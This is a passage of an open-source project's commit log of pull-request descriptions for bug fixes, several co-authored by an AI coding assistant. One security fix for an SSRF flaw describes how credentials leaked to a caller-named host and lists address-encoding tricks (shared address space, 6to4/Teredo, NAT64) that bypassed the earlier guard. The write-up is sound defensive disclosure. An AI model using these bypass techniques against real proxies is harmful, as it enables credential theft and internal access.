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1578 commits

Author SHA1 Message Date
Rod Boev
7550efb68f
fix(mcp): add explicit Serena reconciliation (#3222)
## Description

Headroom repeatedly warns about user-managed Serena drift but has no
scoped remediation command. Add a Claude-only read-only mcp reconcile
command with explicit --adopt consent, using the canonical Serena spec
and existing Claude registrar. Adoption validates every relevant ledger
and Claude config root before mutation, writes only the Serena entry,
and records ownership after the config write succeeds. Automatic wrap
migration and ordinary install remain unchanged. Closes #3054

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (feature that would cause existing behavior to
change)
- [ ] Documentation update
- [ ] Performance improvement
- [ ] Code refactoring (no functional changes)

## Changes Made

- Add Claude-only `headroom mcp reconcile`, read-only by default, with
`--adopt` as its only mutation action.
- Reuse the shared `CLAUDE_SERENA_CONTEXT` and canonical Claude Serena
spec builder.
- Fail closed on malformed or unreadable ledger/config state before
adoption.
- Preserve automatic wrap recovery, user-managed warnings, ordinary `mcp
install --force`, unrelated Claude config, and corrupt-ledger tolerance
outside explicit adoption.
- Record Headroom ownership only after a successful registrar write.

## Testing

- [x] Unit tests pass (`uv run pytest
tests/test_cli/test_mcp_reconcile.py
tests/test_cli/test_serena_reconcile.py
tests/test_mcp_registry/test_ledger.py`)
- [x] Linting passes (`uv run ruff check .`)
- [ ] Type checking passes (`uv run mypy headroom`)
- [x] New tests added for new functionality
- [x] Manual testing performed through the file-backed Claude registrar

### Test Output

```text
uv run pytest tests/test_cli/test_mcp_reconcile.py tests/test_mcp_registry/test_ledger.py tests/test_cli/test_serena_reconcile.py tests/test_mcp_registry/test_claude_registrar.py tests/test_mcp_registry/test_install.py -q
102 passed in 0.70s
uv run ruff check headroom/mcp_registry/ledger.py headroom/cli/wrap.py tests/test_mcp_registry/test_ledger.py tests/test_cli/test_serena_reconcile.py tests/test_cli/test_mcp_reconcile.py
All checks passed!
uv run ruff format --check headroom/mcp_registry/ledger.py headroom/cli/wrap.py tests/test_mcp_registry/test_ledger.py tests/test_cli/test_serena_reconcile.py tests/test_cli/test_mcp_reconcile.py
5 files already formatted
git diff --check
```

## Real Behavior Proof

- Environment: Windows, file-backed Claude configuration and isolated
MCP ledger.
- Exact command / steps: run the stale user-managed Serena fixture from
`tests/fixtures/headroom-issue-3054.json`; run read-only reconcile; run
`mcp reconcile --adopt`; rerun wrap and ordinary `mcp install --force`;
exercise malformed JSON, non-dict `mcpServers`, null ledger agents, and
unreadable-ledger adoption.
- Observed result: read-only reconciliation leaves config and ledger
bytes unchanged; adoption updates only Claude Serena and records
ownership after a successful write; automatic wrap remains lenient;
unsafe adoption inputs leave all files unchanged; ordinary install does
not adopt Serena.
- Not tested: live Claude CLI acceptance and Serena stdio handshake

## Runtime Rollout Safety

- Rollout-managed feature(s): None; explicit `mcp reconcile --adopt` is
the only mutation path.
- Minimum rollout channel: Stable; no staged rollout mechanism exists
for this command.
- Stable/default behavior changed: No, read-only reconcile is the
default and automatic wrap plus ordinary install remain unchanged.
- Kill switch / disable path: Do not invoke `--adopt` or revert the
release commit.
- Unsafe override required: No.
- Qualification impact: None.
- Rollback path: Revert the release commit.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Checklist

- [x] My code follows the project's style guidelines
- [x] I have performed a self-review of my code
- [x] I have commented my code, particularly in hard-to-understand areas
- [x] I have made corresponding changes to the documentation
- [x] My changes generate no new warnings
- [x] I have added tests that prove my fix is effective
- [x] New and existing unit tests pass locally with my changes
- [x] I have updated the CHANGELOG.md if applicable

## Additional Notes

The changelog is generated by the release pipeline. This change is
limited to Claude Serena reconciliation and does not add a new
persistent acknowledgement state or a multi-provider adoption route.
2026-08-23 11:52:50 -07:00
Abhay Singh
455f4f263c
fix(cache/semantic): don't semantic-match an empty query across contexts (#3226)
## Description

`SemanticCache.get()` matches on the **embedding of the last user
message** whenever an `embedding_fn` is wired. That query is empty
(`""`) for the overwhelming majority of agent/tool turns — a
`tool_result` continuation carries no text block, so
`SemanticCacheLayer._extract_query` returns `""`. A real sentence
embedder maps `""` to a fixed **non-zero** vector, so every empty-query
turn is ~identical to every other in embedding space. The exact
`messages_hash` guard (correctly chosen so `"continue"`/`"yes"` turns in
different contexts don't collide) is then bypassed by the semantic path:
an empty-query request misses on its unique hash, falls through to
embedding matching, and hits a **different conversation's** stored
response.

Reproduction (realistic embedder, non-zero for `""`):

```python
c = SemanticCache(embedding_fn=embed)
c.put(query="", response={"answer": "A"}, messages_hash="ctxA")   # conversation A
c.get(query="", messages_hash="ctxB")   # conversation B, different context
# -> returned A's response (cross-context false hit)
```

Measured on 330 real Claude Code transcripts (28,441 requests): **95.7%
have an empty extracted query**, so this is the dominant case, not a
corner case. The exact-hash path is unaffected; only the
embedding-similarity path is.

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update
- [ ] Performance improvement
- [ ] Code refactoring (no functional changes)

## Changes Made

- `headroom/cache/semantic.py`:
- `get()`: gate the semantic-similarity branch on `query.strip()` — an
empty/blank query can only ever hit via its exact `messages_hash`
(context-complete), never via embedding similarity.
- `put()`: store no embedding for an empty/blank query, so such an entry
is skipped by `_find_similar` (which ignores entries with no embedding)
and can never be a match target.
- `tests/test_cache/test_semantic.py`: added
`test_empty_query_never_semantic_matches` (cross-context empty-query
miss, exact-hash still hits, whitespace treated as empty).

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check`)
- [x] Type checking passes (`mypy headroom`)
- [x] New tests added for new functionality

### Test Output

```text
tests/test_cache/test_semantic.py  ->  22 passed in 2.39s
uvx ruff@0.16.2 check headroom/cache/semantic.py tests/test_cache/test_semantic.py  ->  All checks passed!
uvx mypy@1.20.2 headroom/cache/semantic.py  ->  Success: no issues found in 1 source file
```

## Real Behavior Proof

- Environment: Windows 11, Python 3.12.11, project venv, pytest 9.1.1,
ruff 0.16.2 and mypy 1.20.2 via uvx.
- Exact command / steps: before the fix, two different-context
empty-query requests (`ctxA` then `ctxB`) returned `ctxA`'s response via
the embedding path. After the fix, the second returns `None`, while
`ctxA`'s own exact-hash lookup still returns its response, and a
legitimate non-empty semantic hit (`"What is the weather today?"` ->
`"How is the weather?"`) still works.
- Observed result: empty/blank queries no longer semantic-match across
contexts; exact-hash and non-empty semantic matching are unchanged.
- Not tested: no live embedder model wired (the current client wires
none — the embedding path is exercised with an injected `embedding_fn`,
which is the documented usage).

## Runtime Rollout Safety

- Rollout-managed feature(s): none. `SemanticCache` is an SDK-side cache
(`headroom.cache`), not a rollout-channel-gated runtime feature;
semantic matching only runs when a caller injects an `embedding_fn`.
- Minimum rollout channel: N/A.
- Stable/default behavior changed: no. Exact-hash matching and non-empty
semantic matching are unchanged; only empty/blank-query semantic
matching (a false-hit source) is removed.
- Kill switch / disable path: N/A.
- Unsafe override required: no.
- Qualification impact: none; correctness-only.
- Rollback path: revert this PR.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Checklist

- [x] My code follows the project's style guidelines
- [x] I have performed a self-review of my code
- [x] I have commented my code, particularly in hard-to-understand areas
- [ ] I have made corresponding changes to the documentation (N/A:
internal behavior)
- [x] My changes generate no new warnings
- [x] I have added tests that prove my fix is effective or that my
feature works
- [x] New and existing unit tests pass locally with my changes
- [x] I did **not** edit `CHANGELOG.md`
2026-08-23 11:51:33 -07:00
Tejas Chopra
2f81fa5931
fix(codex): detect ChatGPT auth from id_token claims so wrap/init emit requires_openai_auth (#3212)
Fixes #3206.

## The report

`headroom wrap codex` / `init codex` write a provider block without
`requires_openai_auth = true`. Codex then attaches **no `Authorization`
header**, and every request through the proxy 401s:

```
unexpected status 401 Unauthorized: Missing bearer or basic authentication in header
```

Silently — `headroom doctor` reported green throughout. The reporter
lost ~15h of scheduled Codex automation before bisecting it.

## Not the fix the issue suggested

The issue proposes adding the line unconditionally. **That would
re-break API-key users**, which is the regression `requires_openai_auth`
was made conditional for in the first place (#406) — the flag forces
Codex to demand an OpenAI OAuth login.

All three writers (install provider-scope, `init codex`, `wrap codex`)
*already* call `codex_uses_chatgpt_auth()` and emit the key when it
returns True. **The bug is in the detection, not the writers.**

## Root cause

`codex_uses_chatgpt_auth` recognised two shapes:

1. `auth_mode == "chatgpt"`
2. a top-level `tokens.account_id`

Newer Codex can write an `auth.json` with **neither** — the account
identity lives only in the `id_token` claims, under
`https://api.openai.com/auth.chatgpt_account_id`. That config reads as
API-key mode, the flag is omitted, and every request 401s.

Verified against a real `auth.json`: the JWT claim carries the *same*
account id as the top-level key, so it is a faithful signal for the
shape that lacks it.

## Fix

A third detection tier, consulted only when the first two are absent:

| Shape | Before | After |
|---|---|---|
| `auth_mode = "chatgpt"` | True | True |
| legacy `tokens.account_id` | True | True |
| **only the `id_token` claim** | **False** ← the bug | **True** |
| `auth_mode = "apikey"` + ChatGPT id_token | False | **False** (#406
stays closed) |
| API key, no tokens | False | False |
| id_token without the claim / malformed / blank id | False | False |

The payload is **decoded, not verified**. It is a local file the user
already owns, and the result only chooses which key we write into their
own `config.toml` — nothing is authenticated or authorised on the
strength of it. An API-key user has no ChatGPT id_token, so this cannot
resurrect #406, and an explicit `auth_mode` still wins outright (pinned
by test).

## Doctor stops reporting a false green

This failure is invisible from every other signal — proxy up, provider
block present. So the codex check now WARNs when the config is routed,
the user is on ChatGPT auth, **and** the block lacks the flag, naming
the re-run that repairs it.

It only runs when the flag is already missing, and the keyring fallback
it can reach is bounded by an existing 3s timeout, so `doctor` stays
fast. API-key users are never nagged.

## Existing configs

Self-healing — all three writers strip and regenerate the managed block
on every run, so re-running `wrap`/`init` emits the key now that
detection is correct. No separate migration needed.

## Testing

99 passing across the two suites. Confirmed **discriminating**: 3 of the
new tests fail against unfixed source and pass after —

- `test_chatgpt_auth_detected_from_id_token_claims_alone`
- `test_provider_block_emits_requires_openai_auth_for_the_new_shape`
-
`TestCodexRouting::test_chatgpt_auth_without_requires_openai_auth_warns`

plus explicit coverage for the #406 guard, malformed tokens, blank
account ids, and the API-key-not-nagged case.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-22 15:29:54 -07:00
Tejas Chopra
8f3e33a00e
fix(doctor): report project-scoped Claude routing instead of a false negative (#3213)
Refs #3205 — **issue 2 of 2**. The `wrap`-session crashes reported in
that issue are *not* addressed here; see the note at the bottom.

## The report

A session routed via `headroom init claude` was reported by `headroom
doctor` as **not routed**, while it demonstrably was:

- `ps eww` on the live `claude` process showed
`ANTHROPIC_BASE_URL=http://127.0.0.1:8787`
- the `mcp__headroom__*` tools were present and firing
- `headroom_stats` showed **164 of 174 requests compressed** on that
very session

The cost wasn't cosmetic. The team believed 3 of 4 sessions were
unrouted on doctor's word, and hand-checked `ps eww` plus MCP tool
presence on each one to find the real state.

## Root cause — a scope mismatch

| | Path |
|---|---|
| `init claude` (non-global) **writes** |
`./.claude/settings.local.json` |
| `doctor` **read** | `~/.claude/settings.json` only |

Claude Code layers project settings over user settings, so
project-scoped routing — what `init` writes by default — was invisible
to the check.

## Fix

`check_claude_routing` now takes the project-scoped candidates and
consults them in **Claude's own precedence order** (project-local,
project, then user), reporting the first that carries
`ANTHROPIC_BASE_URL`. The summary names the file that supplied it, so
which scope is in effect is never ambiguous — that ambiguity is what
made this expensive to diagnose.

Reading more files must not turn a routed session into a crash or a
silent skip:

- a per-file parse failure is surfaced verbatim (`could not parse …`)
rather than swallowed into the misleading "not routed"
- the non-dict guard is preserved **per file** — a hand-edited settings
file containing `[]` or `null` would otherwise raise `AttributeError`
inside the very command run to diagnose it
- a missing project file is skipped, not fatal

The third argument is optional and defaults to the previous single-file
behaviour, so existing callers and tests are unaffected.

## Not scraping `ps`

The reporter suggested inspecting live `claude` process environments.
That isn't needed and would be platform-specific — the routing is
written to a file whose path we already know. The gap was that we read
the wrong scope, so that's what this fixes.

## Testing

86 passing. Confirmed **discriminating** — all 7 new tests fail against
unfixed `doctor.py` and pass after:

| Test | Covers |
|---|---|
| project-local counts as routed | the reported bug |
| project `settings.json` counts as routed | the other project file |
| project takes precedence over user | Claude's layering |
| falls back to user when project has no base URL | no false positive |
| still warns when nothing routes | no blanket pass |
| missing project file skipped | not fatal |
| unparseable project file surfaces | not silently "not routed" |
| no project paths → original behaviour | backward compatibility |

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-22 15:25:47 -07:00
Tejas Chopra
5d25abd356
test: repair three suite failures that are red on main (#3196)
## Summary

Three tests fail on a clean `main` full-suite run. None is a product
defect — all three are tests that stopped describing reality, and they
will noise up or block the 0.36.4 release.

| Test | Why it fails | Fix |
|---|---|---|
| `test_release_workflows::test_no_native_tls_in_wheel_build_tree` |
Shells out to `cargo`; raises `FileNotFoundError` wherever the Rust
toolchain is absent | Copied the skip guards its own dual already had |
|
`test_learn/test_integration::TestCodexIntegration::test_full_pipeline`
| Asserts `"Bash" in all_tools` against **real local Codex data**; Codex
renamed its shell tool | Assert what the test is for, across Codex
versions |
|
`test_graceful_shutdown::test_run_server_installs_cancelled_error_filter`
| Counts installs on the **process-global** `uvicorn.error` logger;
order-dependent | Isolate the global state; assert the real contract |

## 1. native-tls / cargo

The `openssl-sys` gate 30 lines above is described in-code as this
test's dual. It already skips when `cargo` is missing, **and** when
cargo fails for a reason other than `"package did not match"` (the Linux
wheel target not being installed locally). The native-tls test never
copied either guard.

Not disabled: CI installs the toolchain via `dtolnay/rust-toolchain`, so
the check still executes there. The skip only applies where cargo is
genuinely absent.

## 2. Codex tool vocabulary

This test runs against whatever Codex sessions the machine actually has
(gated by `HAS_CODEX_DATA`), and asserted:

```python
# Codex has only Bash tool (shell)
assert "Bash" in all_tools
```

Codex has since renamed its shell tool (`Bash` → `shell` → `exec`), and
0.149.0 added agent tools (`spawn_agent`, `send_message`, `wait`) beside
it. The assertion pinned one release's vocabulary, so it fails on any
current install.

It now asserts what the pipeline is actually being tested for — that
tool calls were extracted, including a shell-execution tool under any of
its known names — and names the remedy in the failure message for the
next rename.

**Still discriminating** (verified, not assumed):

| Scenario | Result |
|---|---|
| pipeline parsed nothing | fails ✓ |
| tool names garbled | fails ✓ |
| agent tools only, no shell tool | fails ✓ |
| real current Codex data | passes ✓ |

## 3. Global logger state

```python
if not any(isinstance(item, _SuppressCancelledErrorFilter) for item in uvicorn_error_logger.filters):
    uvicorn_error_logger.addFilter(_SuppressCancelledErrorFilter())
```

`run_server` is deliberately idempotent and `uvicorn.error` is a
process-global logger, so any earlier test in the session that reached
`run_server` leaves the filter attached — and this test then observes
**zero** installs against its `== 1` assertion. It passes alone and
fails in a full run, which is exactly the symptom.

The test now clears and restores that global state around itself, and
additionally asserts the idempotence guard that is the real contract:
calling `run_server` twice must not stack a duplicate filter. The test
got stronger, not just quieter.

## Scope

Tests only — no product code is touched.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-21 23:18:40 -07:00
Tejas Chopra
3e3c409436
fix(security): validate caller-supplied upstreams on every resolution path (#3195)
## Summary

CVE-2026-77775 (SSRF via `x-headroom-base-url`) is **not fully fixed on
current `main`**. The advisory lists 0.36.1 as the last affected
version; one route still forwards to any destination a caller names.

`upstream_guard.is_safe_upstream_url` was added and wired into
`/v1/messages` and the catch-all passthrough. But
`select_passthrough_base_url` moved from `providers/proxy_routes.py` to
`providers/proxy_targets.py`, and the guard did not follow it. Its Azure
branch returns the header verbatim whenever an `api-key` header is
present — **both values are caller-supplied** — and `POST
/v1/alpha/search` resolves its upstream through that helper without
checking the header itself.

## Verified, not inferred

Against the current tree, with a listener on loopback standing in for an
internal service:

```
proxy status                : 200
internal service hit        : 1 time(s)
Authorization it received   : 'Bearer SECRET-CLIENT-TOKEN'
internal body relayed back  : True
```

The caller's credentials are forwarded to the attacker-named host and
the internal response is relayed back. After this change: `400`, zero
hits, nothing relayed.

A sweep of all 99 routes isolates exactly one leak on unfixed code —
`POST /v1/alpha/search` with `api-key` — and zero after.

## 1. The missing enforcement

**Guarded at the chokepoint, not just the route.**
`select_passthrough_base_url` now validates before returning, in
`proxy_targets.py` and in the parallel copy in `providers/registry.py`,
so a future caller that forgets the header check cannot reopen this.
`/v1/alpha/search` also rejects explicitly with 400, matching its
sibling routes.

## 2. A second gap in the address policy

RFC 6598 shared address space (`100.64.0.0/10`) is not `is_private`, so
it passed the guard — while routing to ISP and cloud-internal
infrastructure. `_is_internal_address` now also rejects anything not
globally routable.

Verified over a 27-vector battery — 0 bypasses, public control
unaffected:

| Vector | Before | After |
|---|---|---|
| `100.64.0.0/10` shared address space | **allowed** | blocked |
| `198.18/15`, TEST-NET, `240/4` | **allowed** | blocked |
| 6to4 / Teredo embedding internal IPv4 | **allowed** | blocked |
| NAT64 `64:ff9b::/96` embedding loopback | **allowed** | blocked |
| loopback, RFC1918, link-local, metadata, IPv4-mapped, userinfo tricks
| blocked | blocked |
| multicast `224.0.0.1` | blocked | blocked |
| public `8.8.8.8` | allowed | allowed |

The category checks are **kept alongside** `is_global` rather than
replaced — `is_global` is `True` for multicast, so a replacement would
have regressed. NAT64 also reports as global, so its embedded IPv4 is
extracted and judged on its own.

## 3. Unauthenticated stall via the resolver

`socket.getaddrinfo` takes no timeout and runs on the calling thread —
the event loop. Since the hostname is caller-supplied, a deliberately
slow-resolving name stalled every other in-flight request; a handful of
concurrent requests made the proxy unresponsive, unauthenticated.

Resolution now runs in a small dedicated pool with a budget
(`HEADROOM_UPSTREAM_RESOLVE_TIMEOUT_S`, default 3s) and fails closed on
overrun, which bounds every caller including the synchronous chokepoint.
`is_safe_upstream_url_async` runs the lookup off the loop, and the three
route handlers that validate a caller-supplied upstream now await it.

Caching was deliberately avoided: a TTL cache in front of a security
decision invites poisoning, and would widen the rebinding window rather
than narrow it.

## Why this survived

The existing tests unit-tested the guard's *logic* but never asserted it
was *reached*. Added enforcement tests at the sinks plus a **sweep over
the whole route table** that fails if any route forwards to a loopback
address — so the next unguarded upstream resolution fails in CI rather
than in a CVE.

All new tests were confirmed failing against the unfixed tree and
passing after.

## Known residual — deliberately not addressed

**DNS rebinding.** Validation and connection resolve the host
separately, so a low-TTL answer can differ between them. Closing this
needs connection-time pinning in the shared `http_client` transport,
which carries every request in the proxy — too broad to fold into this
patch. It should not be described as fixed.

## Compatibility

An endpoint that does not resolve publicly (split-horizon, on-prem) is
now rejected where it previously passed unvalidated.
`HEADROOM_ALLOWED_BASE_URLS` is the documented opt-in, covered by test.
Three existing tests used fictional hostnames and legitimately began
failing; DNS is pinned in them so they keep testing target precedence
rather than depending on the missing guard.

Separately: `docker-compose.yml` has already been hardened since the
advisory — `HEADROOM_PROXY_TOKEN` is now mandatory and ports are
loopback-only — so the "exposed by default" multiplier the advisory
cites no longer applies to the shipped compose.

Full suite: the 3 failures outside this area
(`test_learn/test_integration`,
`test_release_workflows::test_no_native_tls_in_wheel_build_tree`, and a
`test_graceful_shutdown` ordering flake) reproduce on clean `main` and
are unrelated.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

---------

Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-21 23:16:59 -07:00
Tejas Chopra
1617f839a1
fix(proxy/responses): keep the Codex additional_tools carrier on the wire (#3194)
## Description

0.36.3 regressed Codex tool access. A user reproduced it cleanly: Codex
CLI 0.149.0 + Codex TUI/app-server, terminal tools available at first
(`pwd` executes), then **all shell/filesystem access disappears for the
rest of the session**. The same setup on 0.36.2 works.

The only functional change in 0.36.3 was #3186.

## Root cause

#3186 lifted `additional_tools` definitions into top-level `tools` so
the tools consumers (schema compaction, output shaper, token accounting)
would engage, and dropped the carrier item. That changed the
definitions' **lifetime**, not just their location:

- `tools` is a **per-request parameter**, scoped to one response.
- `additional_tools` is an **`input` item** — part of the conversation
transcript.

A stateful session declares its tools once. Codex over WebSocket sends
the carrier on turn one and relies on the transcript afterwards.
Forwarding the lifted shape leaves that transcript tool-less, so turn
one works and every turn after it has no tool surface at all.

Stateless HTTP hid this in review — it re-sends the carrier on every
request, so the lift refires each turn and nothing is ever lost. That is
why the original manual verification passed.

## Fix

The lift stays; the savings fix it shipped for is real. It is now
**symmetric**:

- `_lift_codex_additional_tools` records where each carrier came from
(`restore_plan`).
- `_restore_codex_additional_tools` puts the post-compaction definitions
back into that carrier before the payload is forwarded.

Consumers still see a classic top-level array. The client still sees the
shape it sent. Compaction's savings survive the round trip, because it
is the *compacted* schemas that go back into the carrier.

Restoration is conservative:

| Situation | Behaviour |
|---|---|
| Compaction preserved the definition count | original per-carrier split
rebuilt exactly |
| A consumer rewrote the array (deferral, injection) | whole set rides
the first carrier |
| Array came back empty | definitions Codex sent are restored, never a
tool-less forward |
| Carrier cannot be put back at all | logged, never a silent
lifted-shape forward |
| Called twice | idempotent, no duplication |

Wired into `_compress_openai_responses_payload_in_executor`, so all five
call sites — HTTP, both WebSocket sites, and passthrough — are covered
by construction. `HEADROOM_CODEX_ADDITIONAL_TOOLS_LIFT=0` still disables
the lift entirely and remains the immediate unblock for anyone on 0.36.3
right now.

## Testing

The gap in #3186 was that all nine of its tests were single-turn. These
are not.

- **Multi-turn regression test** — a turn-one payload is driven through
the real compression entry point, and turn two is built from what was
actually forwarded. On shipped `main` that turn-two transcript carries
**zero** tool definitions; with this change it carries both.
- **Exhaustive round trip** — 363 arrangements of messages, carriers,
empty carriers, adjacent/leading/trailing carriers. Zero mismatches.
This is what pins the insert-offset arithmetic.
- Round-trip shape preservation, carrier position, multiple carriers,
count-change fallback, emptied-array recovery, extra carrier keys,
idempotence, the unrestorable-warning path, the kill switch, and
untouched classic-encoding clients are each asserted.

22 tests in the file; 112 across the related suites (proxy, codex
routing, passthrough, compaction); full suite 3740 passed / 156 skipped.
`ruff check` and `ruff format` clean.

Before/after against shipped `main`, same scenario:

| | 0.36.3 (`main`) | this PR |
|---|---|---|
| forwarded top-level `tools` | present | absent |
| carrier surviving in `input` | **0** | 1 |
| tools visible to turn 2 | **none — tool loss** | `shell`,
`update_plan` |

## Validation gap — please read

This proves the **forwarded shape now matches what the client sent**,
which is the invariant that matters regardless of the exact upstream
mechanism. What is *not* directly observed here is the
transcript-persistence mechanism itself — that is inferred from
Responses API semantics, because there is no Codex 0.149.0 stateful
WebSocket backend in CI.

That is the same gap that let #3186 ship broken, so it should not be
waved through twice. The reporter has a reliable reproduction and should
confirm this build before it tags.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-21 22:54:03 -07:00
Ayush Kumar Jha
b4857685ff
fix(dashboard): pin MIME types for the vendored static assets (#3193)
## Description

The dashboard's vendored scripts can be served as `text/plain`, and the
proxy's own
`X-Content-Type-Options: nosniff` then stops the browser executing them
— the dashboard
loads unstyled and dataless.

`StaticFiles` types every response from `mimetypes.guess_type`, and
Python seeds that
database from the host: the Windows registry (`HKCR\<ext>\Content Type`)
and, elsewhere,
files like `/etc/mime.types`. headroom never calls `mimetypes.add_type`
anywhere, so it
inherits whatever the host says. On a host that maps `.js` to
`text/plain` — a stale
registry entry, or a minimal container image with no mime database at
all — the three
vendored assets go out as plain text.

Neither half is wrong on its own. `nosniff` at `_apply_security_headers`
is correct and
should stay; the mislabel is the bug. Together they break the dashboard
completely.

Closes #3179

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)

## Changes Made

- Added `register_static_mime_types()` and the `_STATIC_MIME_TYPES`
table to `headroom/dashboard/__init__.py`, next to the `STATIC_DIR` it
describes.
- `create_app` calls it immediately before mounting `/dashboard/static`,
so the served type no longer depends on the host mime database.
- Registered `.js`/`.mjs` as `text/javascript`, `.css` as `text/css`,
and `.json`/`.map` as `application/json`.
- Added `tests/test_dashboard_static_mime_types.py` (11 tests) covering
a deliberately broken host database, each registered extension,
idempotency, and a guard that fails if a future vendored asset arrives
with an unregistered extension.

### Design notes

`mimetypes.add_type` is strict by default, so these registrations
replace a bad host
entry rather than losing to it. They are the current IANA/WHATWG values,
so this only
ever repairs a host database — it never invents a mapping.

Registration runs from `create_app` rather than at module import.
Mutating the
process-wide table is right for the proxy that serves these files, but
it should not be
a side effect of `import headroom` for someone using the library.

Two deliberate departures from the fix sketched in the issue:
`text/javascript` rather
than `application/javascript` (the current registration, and what Python
3.12+ returns
natively, so the fix converges with the stdlib instead of diverging from
it — both
execute in every browser), and `.map` as `application/json` rather than
`application/javascript`, since a source map is a JSON document.

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check .`)
- [x] Type checking passes (`mypy headroom`)
- [x] New tests added for new functionality
- [x] Manual testing performed

### Test Output

```text
$ python -m pytest tests/test_dashboard_static_mime_types.py -q
11 passed, 1 warning in 0.94s

# against the unpatched tree the same file cannot even import:
ERROR tests/test_dashboard_static_mime_types.py
ImportError: cannot import name 'register_static_mime_types' from 'headroom.dashboard'

$ python -m pytest tests/*dashboard* -q --continue-on-collection-errors
2 failed, 18 passed, 5 skipped, 2 errors in 11.75s
# baseline on the same tree with the fix stashed:
2 failed,  7 passed, 5 skipped, 2 errors in  6.98s
# identical failures/errors either way (they need the Rust _core extension, which is
# not built on this machine); the fix adds the 11 passing tests and breaks nothing.

$ python -m ruff check headroom/dashboard/__init__.py headroom/proxy/server.py tests/test_dashboard_static_mime_types.py
All checks passed!
$ python -m ruff format --check ...
3 files already formatted
$ python -m mypy headroom/dashboard/__init__.py headroom/proxy/server.py
Success: no issues found in 2 source files
```

## Real Behavior Proof

- Environment: Windows 11 Home 26200, Python 3.11.9, clone of
`upstream/main` at `202c189`. This machine's registry happens to have no
`.js` Content Type value, so the reporter's broken host was reproduced
by `mimetypes.add_type("text/plain", ".js")` — precisely the state
Python's `mimetypes` loads from a registry that does have it.
- Exact command / steps: mounted the real `headroom/dashboard/static`
directory through Starlette `StaticFiles` exactly as `create_app`
constructs it, then fetched all three assets over `TestClient` twice in
one process — first with no registration (today's behaviour), then after
calling `register_static_mime_types()` (the new behaviour).
- Observed result: before the fix all three assets are served
`text/plain; charset=utf-8`, which is what `nosniff` blocks and what the
reporter's console errors show; after the fix all three are
`text/javascript; charset=utf-8`. 3/3 blocked before, 3/3 executable
after. Full output below.
- Not tested: a real browser against a real Windows host carrying the
bad registry entry; and the `create_app` wiring itself, because the
proxy module will not import on this machine (the Rust `_core` extension
is unbuilt and there is no toolchain here) — that one line is covered by
CI rather than locally.

```text
using package: ...\headroom\headroom\dashboard\__init__.py

host mimetypes: .js -> text/plain

BEFORE (create_app does not register anything):
  alpine.min.js        200  text/plain; charset=utf-8
  htmx.min.js          200  text/plain; charset=utf-8
  tailwind.min.js      200  text/plain; charset=utf-8

after register_static_mime_types(): .js -> text/javascript

AFTER (create_app calls register_static_mime_types before mounting):
  alpine.min.js        200  text/javascript; charset=utf-8
  htmx.min.js          200  text/javascript; charset=utf-8
  tailwind.min.js      200  text/javascript; charset=utf-8

blocked before: 3/3   executable after: 3/3
```

## Runtime Rollout Safety

- Rollout-managed feature(s): none — an unconditional correctness fix,
not a rollout-channel feature.
- Minimum rollout channel: n/a — applies on every channel.
- Stable/default behavior changed: yes, deliberately — dashboard assets
are now served with a correct `Content-Type` on hosts whose mime
database was wrong. On a host that was already correct, the served
headers are unchanged.
- Kill switch / disable path: none needed; behaviour is inert where the
host database is already right. Reverting the commit restores the
previous behaviour.
- Unsafe override required: no.
- Qualification impact: none — no effect on compression, proxying, or
provider behavior. Only the `/dashboard/static` mount is touched.
- Rollback path: revert the commit; no persisted state, no migration, no
config.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Checklist

- [x] My code follows the project's style guidelines
- [x] I have performed a self-review of my code
- [x] I have commented my code, particularly in hard-to-understand areas
- [x] My changes generate no new warnings
- [x] I have added tests that prove my fix is effective or that my
feature works
- [x] New and existing unit tests pass locally with my changes
- [x] I did **not** edit `CHANGELOG.md` — it is generated by
release-please from my Conventional Commit PR title (a CI guard enforces
this)

## Additional Notes

**Alternatives considered.** Subclassing `StaticFiles` to force a
`Content-Type` per
extension avoids touching the global table at all and would be scoped to
the dashboard
mount, but it means overriding Starlette internals for no gain in
correctness. Relaxing
`nosniff` on the static mount would also make the dashboard work, but it
trades a
security header away to paper over a labelling bug. Serving each asset
from an explicit
route with a hardcoded `media_type` works too, but replaces
`StaticFiles` wholesale.

**Scope.** Only `.js` is served from `STATIC_DIR` today; `.mjs`, `.css`,
`.json` and
`.map` are registered because they would fail in exactly the same way
the moment one is
vendored. `test_every_vendored_asset_extension_is_registered` fails if
an asset appears
with an extension the table does not cover, so the list cannot silently
fall behind.
Happy to trim it to `.js` alone if you would rather keep the surface
minimal.
2026-08-21 22:28:26 -07:00
Raúl
9c30b62962
fix: skip cross-turn dedup pointers on OpenAI chat streaming (#3191)
## Description

Cross-turn dedup (`HEADROOM_DEDUPE` / `enable_cross_turn_dedup`, plus
the cold-prefix recompaction router) folds a repeated tool-output span
into a one-line in-context pointer, `[↑NL same as msg M: 'anchor']`.
That pointer is only recoverable where the model can resolve the
reference. On the OpenAI chat-completions STREAMING path (what `headroom
wrap copilot` serves) it cannot, for two independent reasons:

1. The proxy itself logs `CCR: skipping retrieval-tool injection for
